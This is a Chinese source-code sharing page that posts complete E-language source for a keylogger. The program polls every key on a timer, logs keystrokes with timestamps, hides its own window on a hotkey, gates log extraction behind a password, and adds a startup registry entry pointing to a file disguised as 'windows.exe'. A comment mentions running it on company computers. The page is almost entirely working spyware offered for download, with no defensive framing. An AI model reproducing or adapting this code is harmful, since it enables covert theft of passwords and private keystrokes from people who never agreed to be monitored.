为编程爱好者分享易语言教程源码的资源网
好用的代理IP,游戏必备 ____广告位招租____ 服务器99/年 ____广告位招租____ ____广告位招租____ 挂机,建站服务器
好用的代理IP,游戏必备 ____广告位招租____ 服务器低至38/年 ____广告位招租____ ____广告位招租____ 挂机,建站服务器

网站首页 > 易语言相关 > 易语言例程 正文

易语言键盘记录软件源码

三叶资源网 2019-04-13 19:01:42 易语言例程 1986 ℃ 2 评论

易语言键盘记录软件源码

@twz577

.版本 2
.支持库 eAPI
.支持库 iext

.程序集 窗口程序集1
.程序集变量 d, 整数型
.程序集变量 c, 整数型
.程序集变量 b, 整数型
.程序集变量 a, 整数型
.程序集变量 bl, 逻辑型

.子程序 键盘记录, 文本型
.参数 大小写状态, 逻辑型
.局部变量 回车, 整数型
.局部变量 空格, 整数型
.局部变量 Q, 整数型
.局部变量 W, 整数型
.局部变量 E, 整数型
.局部变量 R, 整数型
.局部变量 T, 整数型
.局部变量 Y, 整数型
.局部变量 U, 整数型
.局部变量 I, 整数型
.局部变量 O, 整数型
.局部变量 P, 整数型
.局部变量 A, 整数型
.局部变量 S, 整数型
.局部变量 D, 整数型
.局部变量 F, 整数型
.局部变量 G, 整数型
.局部变量 H, 整数型
.局部变量 J, 整数型
.局部变量 K, 整数型
.局部变量 L, 整数型
.局部变量 Z, 整数型
.局部变量 C, 整数型
.局部变量 V, 整数型
.局部变量 x, 整数型
.局部变量 B, 整数型
.局部变量 N, 整数型
.局部变量 M
.局部变量 S1
.局部变量 S2
.局部变量 S3
.局部变量 S4
.局部变量 S5
.局部变量 S6
.局部变量 S7
.局部变量 S8
.局部变量 S9
.局部变量 S0
.局部变量 加
.局部变量 减
.局部变量 除
.局部变量 飞
.局部变量 BACK
.局部变量 TAB
.局部变量 Ctrl
.局部变量 Alt
.局部变量 大写
.局部变量 Shift
.局部变量 Win
.局部变量 n1
.局部变量 n2
.局部变量 n3
.局部变量 n4
.局部变量 n5
.局部变量 n6
.局部变量 n7
.局部变量 n8
.局部变量 n9
.局部变量 n0
.局部变量 n点
.局部变量 n回车
.局部变量 n加
.局部变量 n减
.局部变量 n除
.局部变量 n乘
.局部变量 F1
.局部变量 F2
.局部变量 F3
.局部变量 F4
.局部变量 F5
.局部变量 F6
.局部变量 F7
.局部变量 F8
.局部变量 F9
.局部变量 F10
.局部变量 F11
.局部变量 F12
.局部变量 Insert
.局部变量 Home
.局部变量 PageUp
.局部变量 Delete
.局部变量 End
.局部变量 PageDown
.局部变量 逗号
.局部变量 句号
.局部变量 斜杠
.局部变量 NumLock
.局部变量 ScrollLock
.局部变量 PrintScreen
.局部变量 Pause
.局部变量 Esc
.局部变量 上方向
.局部变量 下方向
.局部变量 左方向
.局部变量 右方向
.局部变量 右Win
.局部变量 L方括号
.局部变量 R方括号
.局部变量 引号
.局部变量 分号

L方括号 = GetAsyncKeyState (219)
R方括号 = GetAsyncKeyState (221)
分号 = GetAsyncKeyState (186)
引号 = GetAsyncKeyState (222)
右Win = GetAsyncKeyState (92)
上方向 = GetAsyncKeyState (38)
下方向 = GetAsyncKeyState (40)
左方向 = GetAsyncKeyState (37)
右方向 = GetAsyncKeyState (39)
逗号 = GetAsyncKeyState (188)
NumLock = GetAsyncKeyState (144)
ScrollLock = GetAsyncKeyState (145)
PrintScreen = GetAsyncKeyState (44)
Pause = GetAsyncKeyState (19)
Esc = GetAsyncKeyState (27)
句号 = GetAsyncKeyState (190)
n0 = GetAsyncKeyState (96)
n1 = GetAsyncKeyState (97)
n2 = GetAsyncKeyState (98)
n3 = GetAsyncKeyState (99)
n4 = GetAsyncKeyState (100)
n5 = GetAsyncKeyState (101)
n6 = GetAsyncKeyState (102)
n7 = GetAsyncKeyState (103)
n8 = GetAsyncKeyState (104)
n9 = GetAsyncKeyState (105)
n乘 = GetAsyncKeyState (106)
n加 = GetAsyncKeyState (107)
n回车 = GetAsyncKeyState (108)
n减 = GetAsyncKeyState (109)
n点 = GetAsyncKeyState (110)
n除 = GetAsyncKeyState (111)
Ctrl = GetAsyncKeyState (#Ctrl键)
Alt = GetAsyncKeyState (#Alt键)
TAB = GetAsyncKeyState (#Tab键)
Win = GetAsyncKeyState (91)
Shift = GetAsyncKeyState (#Shift键)
回车 = GetAsyncKeyState (#回车键)
空格 = GetAsyncKeyState (#空格键)
A = GetAsyncKeyState (#A键)
B = GetAsyncKeyState (#B键)
C = GetAsyncKeyState (#C键)
D = GetAsyncKeyState (#D键)
E = GetAsyncKeyState (#E键)
F = GetAsyncKeyState (#F键)
G = GetAsyncKeyState (#G键)
H = GetAsyncKeyState (#H键)
I = GetAsyncKeyState (#I键)
J = GetAsyncKeyState (#J键)
K = GetAsyncKeyState (#K键)
L = GetAsyncKeyState (#L键)
M = GetAsyncKeyState (#M键)
N = GetAsyncKeyState (#N键)
O = GetAsyncKeyState (#O键)
P = GetAsyncKeyState (#P键)
Q = GetAsyncKeyState (#Q键)
R = GetAsyncKeyState (#R键)
S = GetAsyncKeyState (#S键)
T = GetAsyncKeyState (#T键)
U = GetAsyncKeyState (#U键)
V = GetAsyncKeyState (#V键)
W = GetAsyncKeyState (#W键)
x = GetAsyncKeyState (#X键)
Y = GetAsyncKeyState (#Y键)
Z = GetAsyncKeyState (#Z键)
飞 = GetAsyncKeyState (192)
S1 = GetAsyncKeyState (49)
S2 = GetAsyncKeyState (50)
S3 = GetAsyncKeyState (51)
S4 = GetAsyncKeyState (52)
S5 = GetAsyncKeyState (53)
S6 = GetAsyncKeyState (54)
S7 = GetAsyncKeyState (55)
S8 = GetAsyncKeyState (56)
S9 = GetAsyncKeyState (57)
S0 = GetAsyncKeyState (48)
减 = GetAsyncKeyState (189)
加 = GetAsyncKeyState (187)
除 = GetAsyncKeyState (220)
BACK = GetAsyncKeyState (8)
大写 = GetAsyncKeyState (20)
F1 = GetAsyncKeyState (112)
F2 = GetAsyncKeyState (113)
F3 = GetAsyncKeyState (114)
F4 = GetAsyncKeyState (115)
F5 = GetAsyncKeyState (116)
F6 = GetAsyncKeyState (117)
F7 = GetAsyncKeyState (118)
F8 = GetAsyncKeyState (119)
F9 = GetAsyncKeyState (120)
F10 = GetAsyncKeyState (121)
F11 = GetAsyncKeyState (122)
F12 = GetAsyncKeyState (123)
Insert = GetAsyncKeyState (45)
Home = GetAsyncKeyState (36)
PageUp = GetAsyncKeyState (33)
PageDown = GetAsyncKeyState (34)
End = GetAsyncKeyState (35)
Delete = GetAsyncKeyState (46)
斜杠 = GetAsyncKeyState (191)

.如果真 (键判断 (L方括号))
    返回 (“[”)
.如果真结束
.如果真 (键判断 (R方括号))
    返回 (“]”)
.如果真结束
.如果真 (键判断 (分号))
    返回 (“;”)
.如果真结束
.如果真 (键判断 (引号))
    返回 (“'”)
.如果真结束
.如果真 (键判断 (斜杠))
    返回 (“/”)
.如果真结束
.如果真 (键判断 (逗号))
    返回 (“,”)
.如果真结束
.如果真 (键判断 (右Win))
    返回 (“{Win}”)
.如果真结束
.如果真 (键判断 (右方向))
    返回 (“→”)
.如果真结束
.如果真 (键判断 (下方向))
    返回 (“↓”)
.如果真结束
.如果真 (键判断 (上方向))
    返回 (“↑”)
.如果真结束
.如果真 (键判断 (左方向))
    返回 (“←”)
.如果真结束
.如果真 (键判断 (NumLock))
    返回 (“{Num Lock}”)
.如果真结束
.如果真 (键判断 (ScrollLock))
    返回 (“{Scroll Lock}”)
.如果真结束
.如果真 (键判断 (PrintScreen))
    返回 (“{Prt Scr}”)
.如果真结束
.如果真 (键判断 (Pause))
    返回 (“{Pause}”)
.如果真结束
.如果真 (键判断 (Esc))
    返回 (“{Esc}”)
.如果真结束
.如果真 (键判断 (句号))
    返回 (“.”)
.如果真结束
.如果真 (键判断 (S0))
    返回 (“0”)
.如果真结束
.如果真 (键判断 (回车))
    返回 (“{Enter}”)
.如果真结束
.如果真 (键判断 (空格))
    返回 (“{空格}”)
.如果真结束
.如果真 (键判断 (A))
    .如果 (大小写状态)
        返回 (“A”)
    .否则
        返回 (“a”)
    .如果结束

.如果真结束
.如果真 (键判断 (B))
    .如果 (大小写状态)
        返回 (“B”)
    .否则
        返回 (“b”)
    .如果结束

.如果真结束
.如果真 (键判断 (C))
    .如果 (大小写状态)
        返回 (“C”)
    .否则
        返回 (“c”)
    .如果结束

.如果真结束
.如果真 (键判断 (D))
    .如果 (大小写状态)
        返回 (“D”)
    .否则
        返回 (“d”)
    .如果结束

.如果真结束
.如果真 (键判断 (E))
    .如果 (大小写状态)
        返回 (“E”)
    .否则
        返回 (“e”)
    .如果结束

.如果真结束
.如果真 (键判断 (F))
    .如果 (大小写状态)
        返回 (“F”)
    .否则
        返回 (“f”)
    .如果结束

.如果真结束
.如果真 (键判断 (G))
    .如果 (大小写状态)
        返回 (“G”)
    .否则
        返回 (“g”)
    .如果结束

.如果真结束
.如果真 (键判断 (H))
    .如果 (大小写状态)
        返回 (“H”)
    .否则
        返回 (“h”)
    .如果结束

.如果真结束
.如果真 (键判断 (I))
    .如果 (大小写状态)
        返回 (“I”)
    .否则
        返回 (“i”)
    .如果结束

.如果真结束
.如果真 (键判断 (J))
    .如果 (大小写状态)
        返回 (“J”)
    .否则
        返回 (“j”)
    .如果结束

.如果真结束
.如果真 (键判断 (K))
    .如果 (大小写状态)
        返回 (“K”)
    .否则
        返回 (“k”)
    .如果结束

.如果真结束
.如果真 (键判断 (L))
    .如果 (大小写状态)
        返回 (“L”)
    .否则
        返回 (“l”)
    .如果结束

.如果真结束
.如果真 (键判断 (M))
    .如果 (大小写状态)
        返回 (“M”)
    .否则
        返回 (“m”)
    .如果结束

.如果真结束
.如果真 (键判断 (N))
    .如果 (大小写状态)
        返回 (“N”)
    .否则
        返回 (“n”)
    .如果结束

.如果真结束
.如果真 (键判断 (O))
    .如果 (大小写状态)
        返回 (“O”)
    .否则
        返回 (“o”)
    .如果结束

.如果真结束
.如果真 (键判断 (P))
    .如果 (大小写状态)
        返回 (“P”)
    .否则
        返回 (“p”)
    .如果结束

.如果真结束
.如果真 (键判断 (Q))
    .如果 (大小写状态)
        返回 (“Q”)
    .否则
        返回 (“q”)
    .如果结束

.如果真结束
.如果真 (键判断 (R))
    .如果 (大小写状态)
        返回 (“R”)
    .否则
        返回 (“r”)
    .如果结束

.如果真结束
.如果真 (键判断 (S))
    .如果 (大小写状态)
        返回 (“S”)
    .否则
        返回 (“s”)
    .如果结束

.如果真结束
.如果真 (键判断 (T))
    .如果 (大小写状态)
        返回 (“T”)
    .否则
        返回 (“t”)
    .如果结束

.如果真结束
.如果真 (键判断 (U))
    .如果 (大小写状态)
        返回 (“U”)
    .否则
        返回 (“u”)
    .如果结束

.如果真结束
.如果真 (键判断 (V))
    .如果 (大小写状态)
        返回 (“V”)
    .否则
        返回 (“v”)
    .如果结束

.如果真结束
.如果真 (键判断 (W))
    .如果 (大小写状态)
        返回 (“W”)
    .否则
        返回 (“w”)
    .如果结束

.如果真结束
.如果真 (键判断 (x))
    .如果 (大小写状态)
        返回 (“X”)
    .否则
        返回 (“x”)
    .如果结束

.如果真结束
.如果真 (键判断 (Y))
    .如果 (大小写状态)
        返回 (“Y”)
    .否则
        返回 (“y”)
    .如果结束

.如果真结束
.如果真 (键判断 (Z))
    .如果 (大小写状态)
        返回 (“Z”)
    .否则
        返回 (“z”)
    .如果结束

.如果真结束
.如果真 (键判断 (S1))
    返回 (“1”)
.如果真结束
.如果真 (键判断 (S2))
    返回 (“2”)
.如果真结束
.如果真 (键判断 (S3))
    返回 (“3”)
.如果真结束
.如果真 (键判断 (S4))
    返回 (“4”)
.如果真结束
.如果真 (键判断 (S5))
    返回 (“5”)
.如果真结束
.如果真 (键判断 (S6))
    返回 (“6”)
.如果真结束
.如果真 (键判断 (S7))
    返回 (“7”)
.如果真结束
.如果真 (键判断 (S8))
    返回 (“8”)
.如果真结束
.如果真 (键判断 (S9))
    返回 (“9”)
.如果真结束
.如果真 (键判断 (飞))
    返回 (“`”)
.如果真结束
.如果真 (键判断 (加))
    返回 (“=”)
.如果真结束
.如果真 (键判断 (减))
    返回 (“-”)
.如果真结束
.如果真 (键判断 (除))
    返回 (“”)
.如果真结束
.如果真 (键判断 (BACK))
    返回 (“{退格}”)
.如果真结束
.如果真 (键判断 (TAB))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{Tab}”)
.如果真结束
.如果真 (键判断 (Shift))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{Shift}”)
.如果真结束
.如果真 (键判断 (Ctrl))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{Ctrl}”)
.如果真结束
.如果真 (键判断 (Alt))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{Alt}”)
.如果真结束
.如果真 (键判断 (大写))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{CapsLock}”)
.如果真结束
.如果真 (键判断 (Win))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{Win}”)
.如果真结束
.如果真 (键判断 (n1))
    返回 (“1”)
.如果真结束
.如果真 (键判断 (n2))
    返回 (“2”)
.如果真结束
.如果真 (键判断 (n3))
    返回 (“3”)
.如果真结束
.如果真 (键判断 (n4))
    返回 (“4”)
.如果真结束
.如果真 (键判断 (n5))
    返回 (“5”)
.如果真结束
.如果真 (键判断 (n6))
    返回 (“6”)
.如果真结束
.如果真 (键判断 (n7))
    返回 (“7”)
.如果真结束
.如果真 (键判断 (n8))
    返回 (“8”)
.如果真结束
.如果真 (键判断 (n9))
    返回 (“9”)
.如果真结束
.如果真 (键判断 (n加))
    返回 (“=”)
.如果真结束
.如果真 (键判断 (n减))
    返回 (“-”)
.如果真结束
.如果真 (键判断 (n除))
    返回 (“”)
.如果真结束
.如果真 (键判断 (n乘))
.如果真结束
.如果真 (键判断 (n回车))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{回车}”)
.如果真结束
.如果真 (键判断 (n0))
    返回 (“0”)
.如果真结束
.如果真 (键判断 (n点))
    返回 (“.”)
.如果真结束
.如果真 (键判断 (F1))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{F1}”)
.如果真结束
.如果真 (键判断 (F2))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{F2}”)
.如果真结束
.如果真 (键判断 (F3))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{F3}”)
.如果真结束
.如果真 (键判断 (F4))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{F4}”)
.如果真结束
.如果真 (键判断 (F5))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{F5}”)
.如果真结束
.如果真 (键判断 (F6))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{F6}”)
.如果真结束
.如果真 (键判断 (F7))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{F7}”)
.如果真结束
.如果真 (键判断 (F8))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{F8}”)
.如果真结束
.如果真 (键判断 (F9))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{F9}”)
.如果真结束
.如果真 (键判断 (F10))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{F10}”)
.如果真结束
.如果真 (键判断 (Alt + F11))
    _启动窗口.可视 = 假
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{窗口隐藏操作}”)
.如果真结束
.如果真 (键判断 (Alt + F12))
    _启动窗口.可视 = 真
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{窗口显示操作}”)
.如果真结束
.如果真 (键判断 (Delete))
    返回 (“{DEL}”)
.如果真结束
.如果真 (键判断 (Insert))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{INS}”)
.如果真结束
.如果真 (键判断 (Home))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{HOME}”)
.如果真结束
.如果真 (键判断 (PageUp))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{Page Up}”)
.如果真结束
.如果真 (键判断 (PageDown))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{Page Down}”)
.如果真结束
.如果真 (键判断 (End))
    返回 (#换行符 + 到文本 (取现行时间 ()) + #换行符 + “{END}”)
.如果真结束

返回 (“”)

.子程序 键判断, 逻辑型
.参数 键, 整数型

.判断开始 (键 = -32767)
    返回 (真)
.默认
    返回 (假)
.判断结束


.子程序 _时钟1_周期事件, , , 记录键盘数据

编辑框_记录.加入文本 (键盘记录 (取键盘指示灯状态 (1)))
' 保存 ()' 本源码来自三叶资源网(www.sanye.cx)

.子程序 __启动窗口_创建完毕, , , 运行后窗口可视为假,如果要测试记得调回来

' =======================================
编辑框_key.获取焦点 ()
时钟2.时钟周期 = 6000  ' 子分
时钟十分.时钟周期 = 60000  ' 十分
时钟子时.时钟周期 = 600000  ' 子时
时钟十时.时钟周期 = 6000000  ' 十时
' =======================================
时钟中控.时钟周期 = 1000

a = 0
b = 0
c = 0
d = 0
' ====================================================
' 写到文件 (“C:\Program Files\facie.ini”, #保存文本)
' ====================================================

.子程序 _时钟2_周期事件, , , 控制每一分钟计时

' =======================================
a = a + 1
透明标签_子分.标题 = 到文本 (a)
' =======================================

.子程序 _按钮_提取数据_被单击, , , 提取记录下来的键盘数据

' ==============================================================================================================================================================================
.判断开始 (编辑框_key.内容 ≠ “8864520124”)
    信息框 (“If it is detected that it is not for your own use, please stop the operation immediately, otherwise you will be responsible for the consequences! !”, 0, “发生了一个致命的错误!!!”, )
.判断 (编辑框_key.内容 = “8864520124”)
    编辑框_提取.内容 = 编辑框_记录.内容
.默认

.判断结束
' ==============================================================================================================================================================================

.子程序 保存, , , 保存键盘数据到本地磁盘或者可以直接发送到服务器(这个功能没写)
.局部变量 文本内容, 文本型

' =======================================================================
' 文本内容 = 到文本 (读入文件 (取运行目录 () + “mrice.txt”))
' 文本内容=文本内容+编辑框_记录.内容 + “----” + 编辑框3.内容+#换行符
' 写到文件 (取运行目录 () + “mrcie.txt”, 到字节集 (文本内容))
' 写到文件 (“C:\Program Files\facie.ini”, 到字节集 (编辑框_记录.内容))
' =======================================================================

.子程序 _按钮_开启运行_被单击, , , 开启或者关闭开机运行(注册表的方式)

' =============================================================================================================================================
.如果 (选择框_开机运行.选中 = 真)
    信息框 (“kjzdqd is ok”, 0, , )
    写注册项 (#本地机器, “software\microsoft\windows\CurrentVersion\Run\mrcie is good”, “C:\Program Files\windows.exe”)
.否则
    信息框 (“kjzdqd is no”, 0, , )
    删除注册项 (#本地机器, “software\microsoft\windows\CurrentVersion\Run\mrcie is good”)
.如果结束
' =============================================================================================================================================

.子程序 _按钮_清空缓存_被单击, , , 如果是公司电脑那么会无限储存,这样会使数据饱满,所以每次提取之后可以选择手动删除

' ============================================
编辑框_记录.内容 = “”
编辑框_提取.内容 = “”
删除文件 (“C:\Program Files\facie.ini”)
信息框 (“缓存删除成功”, 0, , )
' ============================================

.子程序 时钟中控程序, , , 用很简单的判断来做计时器的中控(新手向)

' ===================================================
.判断开始 (透明标签_子分.标题 = “60”)
    透明标签_子分.标题 = “0”
.判断 (透明标签_十分.标题 = “60”)
    透明标签_十分.标题 = “0”
.判断 (透明标签_子时.标题 = “10”)
    透明标签_子时.标题 = “0”
.判断 (透明标签_十时.标题 = “10”)
    透明标签_子分.标题 = “荷”
    透明标签_十分.标题 = “负”
    透明标签_子时.标题 = “行”
    透明标签_十时.标题 = “运”
.默认

.判断结束
' ====================================================
文件下载

来源:三叶资源网,欢迎分享,公众号:iisanye,(三叶资源网⑤群:21414575

已有2位网友发表了看法:

欢迎 发表评论:

百度站内搜索
关注微信公众号
三叶资源网⑤群:三叶资源网⑤群

网站分类
随机tag
CURL火山安卓红手指云手机app算法RapidJSON高效数据结构捆绑程序粒子发射器WonderWall贪玩蓝月加载皮肤支持库模版Hp-Socket1VTCPORACLE数据库appium模块会员系统胡来网post注册QQ达人整人小工具进销存系统
最新评论